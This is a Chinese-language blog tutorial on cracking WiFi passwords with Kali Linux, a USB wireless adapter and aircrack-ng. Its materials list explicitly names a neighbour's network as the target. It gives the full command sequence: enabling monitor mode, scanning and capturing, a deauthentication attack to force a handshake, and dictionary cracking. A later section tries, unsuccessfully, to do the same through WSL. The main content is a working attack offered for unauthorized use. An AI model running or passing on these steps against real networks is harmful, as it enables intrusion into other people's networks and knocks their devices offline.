kali+无线网卡破解wifi密码

Fri Jul 26 2024 17:39:06 GMT+0800


虚拟机+无线网卡(推荐)

材料准备

1. 安装有kali虚拟机的电脑,最好别用wsl(会有一些莫名其妙的错误)
2. 无线网卡一枚(最好免驱),网购约30元,我使用的是mt7601u
3. 字典(自己生成或者网上下载如Top100)
4. 邻居家的wifi

将无线网卡连接至虚拟机

请务必先打开kali虚拟机后,后将无线网卡插上电脑。

这样在VMwwre中才会出现一个弹窗“检测到新的usb设备”选择“连接到虚拟机”,选中你的虚拟机点确定

打开终端,输入ifconfig,如果列出的表中有wlan0,则说明无线网卡已经成功连接到kali虚拟机中

 2024-11-28 190541.png

开启监听模式

开启网卡监听(注意下面图片中的monitor mode enable,表示监听模式启动)

airmon-ng start wlan0

 2024-11-28 190808.png

扫描附近的wifi,搜索到你要破解的wifi的名字时,及时按下空格暂停扫描,以免扫描的东西不见了,也方便复制:

airodump-ng wlan0
BSSID CH ESSID
wifi的网卡 信道 wifi的名字

 2024-11-28 191752.png

这时候最好不要按Ctrl+C退出上一步,最好是再打开一个控制台窗口,查看wifi连接的设备

airodump-ng --bssid <BSSID> -c <CH> -w <文件名不用自己加后缀> wlan0

抓包

aireplay-ng -0 2 -a <BSSID> -c <STATION> wlan0

参数说明:-0抓取包的个数,-a路由器MAC,-c用户MAC

破解wifi密码,跑包,如果密码字典中有密码,即可破解成功

aircrack-ng -w <字典路径> <文件名不用自己加后缀>

停止监听

airmon stop wlan0

WSL+无线网卡(无效)

使用USBIPD将无线网卡绑定到WSL

参考文档:Microsoft-连接USB设备

你有两种方式安装usbipd

第一种,在GitHub发布页中下载https://github.com/dorssel/usbipd-win/releases,下载usbipd-win_x.x.x.msi,然后安装即可

第二种,如果你的Windows有安装winget,那么可以通过输入命令来安装

winget install --interactive --exact dorssel.usbipd-win

安装好usbipd后,打开powershell(以管理员模式打开),先别着急打开wsl

确保你的无线网卡插入了电脑后,输入查看

usbipd list 

 2024-11-28 140241.png

我们可以看到,我的无线网卡名称为802.11n USB Wireless LAN Card,它的BUSID2-1

接下来输入命令使无线网卡处于共享状态

usbipd bind --busid <busid> 

 2024-11-28 140719.png

通过后面的命令我们可以看到,我的无线网卡已经处于Shared的状态,那我们就可以将其绑定到WSL中(在此之前需要先打开WSL,否则可能会报错):

usbipd attach --wsl --busid <busid>

 2024-11-28 141405.png

这里附一条解除绑定的命令(别乱输啊),不过官方文档是说也可以通过物理移除的方式(通俗的讲就是直接拔):

usbipd detach --busid <busid>

到此,你的Windows可能会弹出一条移除设备的信息,并且在Windows下的WLAN也看不到了两张网卡,这是正常现象,它说明你已经成功的将无线网卡添加到了WSL中。

我们不妨进一步进行验证 。切换到WSL的窗口,输入lsusb可以查看接入的USB:

 2024-11-28 141854.png

其中的Ralink Technology, Corp. MT7601U Wireless Adapter就是我的网卡,显然,USB添加成功了。

但是,输入ifconfig查看,好家伙没有无线网。。。(好吧,我承认到此我不会了

Windows+无线网卡

Aircrack-ng官网下载工具,Windows版本包含以下工具

命令(有用的) 功能
airbase-ng
aircrack-ng 最后破解:破解WEP以及WPA(字典攻击)密钥
airdecap-ng
airdecloak-ng
aireplay-ng
airodump-ng 数据包嗅探:将无线网络数据输送到PCAP或IVS文件并显示网络信息
airserv-ng

感谢支持

微信打赏码

如果您觉得这篇文章对您有帮助

可以扫描上方二维码支持一下作者

您的支持是我创作的动力